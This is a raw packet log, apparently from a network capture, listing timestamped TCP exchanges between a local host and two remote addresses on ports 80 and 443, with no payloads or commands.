Oct 24, 2024 08:51:22.352653027 CEST	80	49753	185.27.134.114	192.168.2.4
Oct 24, 2024 08:51:22.352737904 CEST	49753	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:22.537417889 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.538007021 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.538069963 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.538407087 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.538419962 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.676422119 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.676623106 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.676726103 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.676817894 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.676817894 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.676863909 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.676894903 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.679583073 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.679632902 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.679728985 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.679877996 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.679893970 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.702691078 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.703171968 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.703211069 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.703569889 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.703576088 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.768332958 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.768909931 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.768946886 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.769334078 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.769340992 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.785152912 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.785650015 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.785685062 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.786067009 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.786072016 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.831975937 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.832050085 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.832101107 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.832115889 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.832164049 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.832214117 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.832288980 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.832308054 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.832318068 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.832324028 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.835361004 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.835434914 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.835529089 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.835654974 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.835675001 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.926131010 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.926403999 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.926470041 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.927495956 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.927511930 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.927525997 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.927531004 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.930244923 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.930289984 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.930372953 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.930516958 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.930531025 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.013267994 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.016921997 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.016973972 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.017391920 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.017399073 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.038924932 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.039005995 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.039072990 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.039284945 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.039305925 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.039330959 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.039336920 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.048659086 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.048702002 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.048800945 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.066793919 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.066817999 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.144532919 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.144967079 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.145056009 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.178539991 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.178577900 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.178595066 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.178601980 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.192316055 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.192368031 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.192471981 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.194804907 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.194817066 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.403184891 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.456659079 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.551220894 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.551249027 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.551753998 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.551760912 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.567888975 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.568412066 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.568439007 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.568907976 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.568913937 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.668037891 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.673208952 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.673286915 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.673716068 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.673729897 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.677305937 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.677495956 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.677572966 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.677634001 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.677656889 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.677669048 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.677675009 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.681029081 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.681118011 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.681221962 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.681377888 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.681405067 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.699429989 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.699635029 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.699841976 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.704085112 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.704085112 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.704128027 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.704154968 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.707226992 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.707268953 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.707345009 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.707483053 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.707496881 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.800061941 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.800100088 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.800167084 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.800379992 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.800566912 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.800566912 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.800585985 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.800596952 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.805351019 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.805392027 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.805504084 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.805726051 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.805737972 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.813271999 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.813837051 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.813848972 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.814344883 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.814349890 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.933900118 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.938935995 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.938961983 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.939465046 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.939469099 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.964724064 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.964804888 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.965014935 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.965239048 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.965256929 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.979162931 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.979247093 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:23.979362965 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.979542017 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:23.979567051 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.066107035 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.066147089 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.066212893 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.066421986 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.066627979 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.066643953 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.066658974 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.066664934 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.070239067 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.070280075 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.070379972 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.070574045 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.070584059 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.426215887 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.426954031 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.426975965 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.427568913 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.427573919 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.444608927 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.445249081 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.445266962 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.445959091 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.445965052 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.550492048 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.557293892 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.557327032 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.560955048 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.561021090 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.561084986 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.561239958 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.561247110 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.563467026 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.563473940 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.563499928 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.563504934 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.566970110 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.567039967 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.567121029 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.567329884 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.567354918 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.574784994 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.574812889 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.574850082 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.574918985 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.577672958 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.577697992 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.577714920 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.577722073 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.580908060 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.580944061 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.581021070 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.581206083 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.581216097 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.689101934 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.689215899 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.689472914 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.689616919 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.689645052 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.689659119 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.689663887 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.693386078 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.693428993 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.693530083 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.693722963 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.693737030 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.709139109 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.709856987 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.709883928 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.710423946 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.710429907 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.814284086 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.814973116 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.815007925 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.815494061 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.815500975 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.839513063 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.839587927 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.839698076 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.839700937 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.839859962 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.842714071 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.842735052 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.846384048 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.846491098 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.846612930 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.846791029 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.846813917 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.947618008 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.947777987 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.947951078 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.948129892 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.948157072 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.948168993 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.948174953 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.956302881 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.956332922 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:24.956448078 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.956655979 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:24.956669092 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.316150904 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.316757917 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.316776991 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.317289114 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.317296028 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.322602034 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.325661898 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.325685024 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.326275110 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.326282978 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.432920933 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.436461926 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.436484098 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.436928034 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.436934948 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.448982954 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.449043989 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.449172974 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.449223042 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.450725079 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.452732086 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.452749968 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.452764988 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.452773094 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.452923059 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.452977896 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.453043938 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.453088999 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.453116894 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.453167915 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.453201056 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.453222990 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.453222990 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.453237057 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.453249931 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.456553936 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456569910 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456585884 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.456598997 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.456677914 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456818104 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456818104 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456841946 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.456907034 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.456914902 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.563568115 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.563605070 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.563666105 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.563878059 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.575812101 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.598551035 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.598575115 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.598592043 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.598598957 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.602346897 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.602396011 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.602886915 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.602893114 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.616811991 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.616856098 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.617044926 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.631664038 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.631695032 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.700997114 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.710170984 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.710211992 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.710735083 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.710745096 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.728202105 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.728291988 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.728424072 CEST	49967	443	192.168.2.4	13.107.246.60
